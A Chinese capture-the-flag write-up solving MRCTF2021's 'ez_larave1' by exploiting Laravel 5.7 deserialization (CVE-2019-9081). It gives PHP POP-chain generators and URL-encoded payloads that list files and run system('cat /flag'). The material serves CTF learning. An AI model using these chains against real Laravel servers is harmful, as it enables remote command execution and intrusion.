[MRCTF2021]Web复现ez_larave1

ez_larave1

考察的是Laravel的CVE-2019-9081,影响版本为5.7.x
get到一个新工具:BeyondCompare,用来比较文件差异的,可以比较方便的看出他做了哪些开发

把5.7.x的源码下载下来,比较一下,发现序列化!
有个小绕过,在serialize后随便加一点东西就可以了,比如serializeabc
[MRCTF2021]Web复现ez_larave1
与网上的poc不同,他的路由命名为hello了,在hello路由下可以执行反序列化
[MRCTF2021]Web复现ez_larave1

在网上找到的cve复现,看到漏洞是在PendingCommand.php出现的,跑去看看
果然有信息
[MRCTF2021]Web复现ez_larave1
要读取到这个key,才能进行下一步的操作,得用原生类

下面来构造第一个poc

我们的目的是找出这个.axxx.txt的完整的文件名
在Filesystem这个类里面使用了FilesystemIterator迭代器遍历目录,会把参数里的目录全遍历出来
这样的话我们反序列化的时候去触发这个__toString()方法把参数传进去来遍历当前的目录,就可以遍历到.axxxx.txt了
[MRCTF2021]Web复现ez_larave1
当触发了__toString方法后就会返回文件名,那我们就得找一个能把他回显出来的东西

在vendor/symfony/http-foundation里面有个Response.php,这里面有一个方法sendContent
这个方法就会打印出content
[MRCTF2021]Web复现ez_larave1
[MRCTF2021]Web复现ez_larave1
析构方法
[MRCTF2021]Web复现ez_larave1
所以我们可以这样构造一个析构方法,因为前面说了触发了__toSring后会返回文件名
所以我们让:content的值=这个返回的文件名,再去**触发这个sentContent()**就可以把文件名给回显出来了

在原来的cve中,命令的执行会发生在PendingCommand.php的__destruct()里面
但是这题他把&this->run()删除了,那我们就得另寻他路来执行到PendingCommand.php中的run()这个函数了
[MRCTF2021]Web复现ez_larave1

看wp知道,预期解里面__destrusct()入口在FnStream.php里面,有个call_user_func()
这里原来是不能反序列化的,出题人注释掉了限制__wakeup()所以这里是可以执行命令的

但是这里是有个问题的,这个call_user_func()只能传入一个参数,那么我们就要考虑利用pop链让他执行某个类内部的方法
至于怎么调用类内部的方法:给这个函数传入一个数组,第一个值是你想调用的类的实例,第二个值是那个类对应的某个方法名
[MRCTF2021]Web复现ez_larave1

由于他只会执行$_fn_close,那我们就可以直接定义好$_fn_close进行变量的覆盖,让我们
[MRCTF2021]Web复现ez_larave1

所以我们大概需要的东西就已经齐全了,屡一下思路

  • 实例化Filesystem,想办法去触发__toString()方法利用里面的FilesystemIterator原生类
  • 实例化Response类,把实例化Filesystem的对象作为字符串传给Response赋值给content
  • 利用FnStream来执行Response里面的sendContent方法,回显出文件名

poc1

<?php use PsrHttpMessageStreamInterface; namespace GuzzleHttpPsr7{     class FnStream {         private $methods;         private static $slots = ['__toString', 'close', 'detach', 'rewind',             'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',             'isReadable', 'read', 'getContents', 'getMetadata'];         public $_fn_close;          public function __construct($obj){             $this->_fn_close = $obj;         }          public function __destruct()         {             if (isset($this->_fn_close)) {                 call_user_func($this->_fn_close);             }         }        } }    namespace SymfonyComponentHttpFoundation{     class Response{          public $content;         public function __construct($obj)         {             $this->content = $obj;         }          public function sendContent(){             echo $this->content;             return $this;         }     } }   namespace IlluminateFilesystem{     use ErrorException;     use FilesystemIterator;     use SymfonyComponentFinderFinder;     use IlluminateSupportTraitsMacroable;     use IlluminateContractsFilesystemFileNotFoundException;     class Filesystem{     } }  namespace{     $text = new IlluminateFilesystemFilesystem();     $obj1 = new SymfonyComponentHttpFoundationResponse($text);     $arr = array($obj1,"sendContent"); //调用__toString()方法     $obj = new GuzzleHttpPsr7FnStream($arr);     echo (serialize($obj)); } 

payload:

/hello?action=serializeabc&ser=O%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A2%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CPsr7%5CFnStream%00methods%22%3BN%3Bs%3A9%3A%22_fn_close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A41%3A%22Symfony%5CComponent%5CHttpFoundation%5CResponse%22%3A1%3A%7Bs%3A7%3A%22content%22%3BO%3A32%3A%22Illuminate%5CFilesystem%5CFilesystem%22%3A0%3A%7B%7D%7Di%3A1%3Bs%3A11%3A%22sendContent%22%3B%7D%7D 

读取到key
[MRCTF2021]Web复现ez_larave1

下一步就是命令执行拿flag了

这里就是CVE-2019-9081里面用的链了
但是由于pendingcommand类里面的__destruct()被删除,所以还是要借助FnStream.php的__destruct()来执行pendingcommand类里面的run方法
这里就不多说了
po<?php use PsrHttpMessageStreamInterface; namespace GuzzleHttpPsr7{ class FnStream { private $methods; private static $slots = ['__toString', 'close', 'detach', 'rewind', 'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write', 'isReadable', 'read', 'getContents', 'getMetadata']; public $_fn_close; public function __construct($obj){ $this->_fn_close = $obj; } public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } } } } namespace IlluminateFoundationTesting{ use PHPUnitFrameworkTestCase as PHPUnitTestCase; class PendingCommand{ protected $app; protected $command; protected $parameters; public $test; public function __construct($test, $app, $command, $parameters) { $this->app = $app; $this->test = $test; $this->command = $command; $this->parameters = $parameters; } } } namespace IlluminateAuth{ class GenericUser{ protected $attributes; public function __construct(array $attributes) { $this->attributes = $attributes; } public function __get($key) { return $this->attributes[$key]; } } } namespace IlluminateFoundation{ class Application{ protected $instances = []; public function __construct($instances = []) { $this->instances['IlluminateContractsConsoleKernel'] = $instances; } } } namespace{ $genericuser = new IlluminateAuthGenericUser( array( //这里需要两次使用来循环获得以便成功跳过方法,两次键名分别为expectedOutput和expectedQuestions "expectedOutput"=>array("crispr"=>"0"), "expectedQuestions"=>array("crispr"=>"1") ) ); $app = new IlluminateFoundationApplication(); //通过如下步骤最终获得的$this->app[Kernel::class]就是该Application实例 $application = new IlluminateFoundationApplication($app); $pendingcommand = new IlluminateFoundationTestingPendingCommand( $genericuser, $application, "system", array("cat /flag") ); $obj = new GuzzleHttpPsr7FnStream(array($pendingcommand,"run")); echo urlencode(serialize($obj)); }

payload:

/hello?action=serializeabc&ser=O%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A2%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CPsr7%5CFnStream%00methods%22%3BN%3Bs%3A9%3A%22_fn_close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bs%3A6%3A%22crispr%22%3Bs%3A1%3A%220%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bs%3A6%3A%22crispr%22%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D&key=W3lc0Me_2_MRCTF_2O2l 

拿到flag
[MRCTF2021]Web复现ez_larave1

版权声明:玥玥 发表于 2021-04-21 19:12:38。
转载请注明:[MRCTF2021]Web复现ez_larave1 | 女黑客导航